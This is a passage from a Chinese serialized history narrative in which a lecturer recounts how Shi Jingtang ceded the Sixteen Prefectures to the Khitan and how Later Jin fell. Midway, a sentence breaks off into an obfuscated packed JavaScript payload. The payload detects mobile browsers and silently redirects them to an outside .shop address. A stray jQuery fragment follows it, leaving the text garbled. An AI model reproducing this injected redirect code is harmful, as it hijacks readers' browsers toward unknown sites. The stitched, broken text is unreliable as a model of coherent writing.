“第四十九颗点——石敬瑭，他用一张地图换了一座城，然后用一座城换了一顶皇冠。”
史小坡写下这行字，笔尖在“地图”两个字下面划了一道。
“上一章讲到李嗣源死了。他画了一根又平又宽的线——不高、不陡、不折腾——让北方几百万人喘了八年的气。但他一死，线又断了。他的儿子李从厚继位不到五个月，就被他的养子李从珂推翻了。李从珂当了皇帝，史称后唐末帝。但他对一个人始终放心不下——他的姐夫，河东节度使石敬瑭。”
史小坡在白板上写下石敬瑭的名字：“石敬瑭是沙陀人，李嗣源的女婿。他年轻时朴实稳重，以善射著称。庄宗同光四年——926年——李嗣源在魏州被士兵裹挟着造反，石敬瑭统领亲军拥李嗣源为主，迅速占领汴州。李嗣源当了皇帝之后，石敬瑭先后被任命为保义、宣武、天雄、河东等多镇节度使。他做河东节度使的时候，政绩很高、生活清廉，很受当地人的欢迎。”
“但李从珂当了皇帝之后，对石敬瑭越来越不放心。一个功劳这么大、地盘这么稳、手底下还有兵的人——李从珂觉得他太危险了。清泰三年——936年——四月，李从珂下诏，命石敬瑭移镇天平军。天平军在山东郓州，离太原很远。明升暗降，就是要把他从老巢调走。”
“石敬瑭接到诏书之后，召集了手下将领商议。他问大家：‘我第二次接到移镇的调令了，这明摆着是皇帝要对付我。我该怎么办？’他的心腹们说：‘明公您是明宗皇帝的爱婿，功劳那么大，现在主上把您当仇人一样猜忌。这根本不是什么移镇调令，是逼您表态。’”
“石敬瑭想了一夜。第二天，他杀了后唐派来的使者，宣布起兵。”
“但李从珂早有准备。”
史小坡在白板上画了一个圈，标注“太原——936年夏秋”：“李从珂调集大军围攻太原，把太原城围得水泄不通。石敬瑭据城死守，但城内粮秣紧张。外无援兵，内无粮草。如果不能快速破局，等粮草耗尽，城破只是时间问题。”
“石敬瑭做了一个决定。一个改变中国地理版图四百多年的决定。”
“他派了一个人——桑维翰——去向契丹求援。桑维翰带去的条件只有两条：第一，石敬瑭向契丹称臣，认契丹皇帝耶律德光为父，自称为‘儿皇帝’。第二，事成之后，割让卢龙一道及雁门关以北诸州——就是后来的燕云十六州。”
史小坡在白板上列了一个清单：“燕云十六州——幽州（北京）、蓟州（天津蓟州）、檀州（北京密云）、顺州（北京顺义）、涿州（河北涿州）、易州（河北易县）、莫州（河北任丘）、瀛州（河北河间）、蔚州（河北蔚县）、武州（河北张家口宣化）、新州（河北涿鹿）、妫州（北京延庆）、儒州（北京延庆）、云州（山西大同）、应州（山西应县）、寰州（山西朔州东）。这是一条沿着燕山和太行山北缘的完整防线——所有北方的山口、关隘、河谷，全在这十六个州的范围里。”
“契丹皇帝耶律德光听到条件之后——答应了。正愁没有机会南下的耶律德光，亲率五万骑兵从雁门关入塞。后唐的围城大军在契丹骑兵的冲击下大败。石敬瑭从太原城出来，亲自迎接耶律德光。同年十一月，石敬瑭在柳林坛受契丹册封，即皇帝位，国号晋——史称后晋。”
“后唐的末帝李从珂，在洛阳宫中放了一把火，自焚而死。后唐这根线——从李存勖到李嗣源到李从珂——画了十三年，断了。”
“石敬瑭进了洛阳，然后迁都开封。他坐在了皇帝的位置上——用一张地图换来的。”
“然后他履行承诺。”
史小坡在白板上写下“938年”：“天福三年——938年——石敬瑭正式将燕云十六州全境图籍交付契丹。每年还进献布帛三十万匹。”
“这张地图交出去之后，中原地形变了。”
史小坡在白板上画了一根从太行山断裂的粗线：“燕云十六州是中原的‘屋顶’。燕山和太行山在这里交汇，所有的关隘——居庸关、紫荆关、倒马关、雁门关——全在这条线上。以前北方骑兵要南下，必须先攻破这些关隘，一道关接一道关地打。燕云十六州一丢，屋顶没了。华北平原像一间没有门的房子，北方骑兵可以从任何一个方向冲进来。”
“这根线在石敬瑭手里断了一次。之后辽、金、元相继据有幽燕。中原政权在北方长期陷于守势。北宋耗尽了国力也没能把它收回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808395|210710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。直到四百多年后的明朝——1368年——徐达、常遇春率军北伐，攻克元大都，燕云十六州才重新回到中原版图。”
史小坡放下笔，沉默了很久。
“石敬瑭当了七年皇帝。他在位期间经济政策相对开明，自己也较清廉俭朴。但他割地称儿的做法，从朝堂到民间都在反对。他为了坐稳皇位，对藩镇姑息纵容，又重用宦官。民间起义不断，他疑心越来越重，手段也越来越残忍。”
“天福七年——942年——石敬瑭病重。他临终前把幼子石重睿托付给宰相冯道。但他一死，冯道转头就支持了他的侄子石重贵继位。石重贵是后晋出帝——他对契丹的态度跟石敬瑭完全相反。他不称臣，不叫‘儿皇帝’。他跟耶律德光说——‘称孙可以，称臣不行’。”
“耶律德光怒了。后晋跟契丹翻脸。开运三年——947年——契丹大军南下，攻入开封，俘虏了石重贵。后晋灭亡。”
“石敬瑭的线——从892年出生到942年去世，从936年称帝到942年驾崩——画了五十一年的人生，七年的皇位。他画了一根用地图换来的线，然后这根线在他死后五年就断了。”
史小坡把笔放下。白板上“石敬瑭”这颗点周围——河东、太原、桑维翰、契丹、燕云十六州、儿皇帝、天福、石重贵——所有的箭头都指向同一个方向：一根以地图为代价画出的线。
高德图站在旁边：“你把石敬瑭讲成了一颗‘交换点’——用地图换皇位，用防线换龙椅。交出去的东西，四百年后才收回来。”
“对。石敬瑭不是第一个认外人当爹的，也不是最后一个。但他是第一个用一整条地理等高线去换一顶皇冠的。他把燕云十六州交出去的时候，交的不只是十六座城——交的是中原四百年的北门钥匙。钥匙给了别人，门就再也关不上了。”
“下一颗点呢？”
“下一颗点——后晋之后，北方大乱。契丹灭了后晋，然后撤了。中原又空出来了。刘知远在太原称帝，建立了后汉。后汉只活了四年——郭威推翻后汉，建立后周。然后赵匡胤在陈桥驿黄袍加身，建立了宋朝。”
“五十多年的五代十国，已经画到最后一根线了。”